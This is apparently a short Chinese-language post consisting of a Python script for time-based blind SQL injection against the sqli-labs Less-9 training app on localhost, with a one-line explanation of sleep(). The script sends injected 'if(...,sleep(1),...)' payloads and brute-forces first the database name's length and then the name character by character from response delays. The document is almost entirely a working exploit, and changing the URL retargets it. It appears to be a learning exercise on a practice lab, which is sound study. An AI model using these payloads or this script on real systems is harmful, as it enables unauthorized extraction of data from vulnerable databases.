基於時間的sql盲注入python腳本

 1 # coding:utf-8
import requests
import datetime
import time

# 獲取數據庫名長度


def database_len():
    for i in range(1, 10):
        url = '''http://127.0.0.1/sqli-labs/Less-9/index.php'''
        payload = '''?id=1' and if(length(database())>%s,sleep(1),0)''' % i
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()
        r = requests.get(url + payload + '%23')
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            print(i)
        else:
            print(i)
            break
    print('database_len:', i)


database_len()


#獲取數據庫名
def database_name():
    name = ''
    for j in range(1, 9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://127.0.0.1/sqli-labs/Less-9/index.php'''
            payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)''' % (
                j, i)
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.get(url + payload + '%23')
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name += i
                print(name)
                break
    print('database_name:', name)


database_name()

 sleep(s)使sql語句的執行暫停s秒鍾。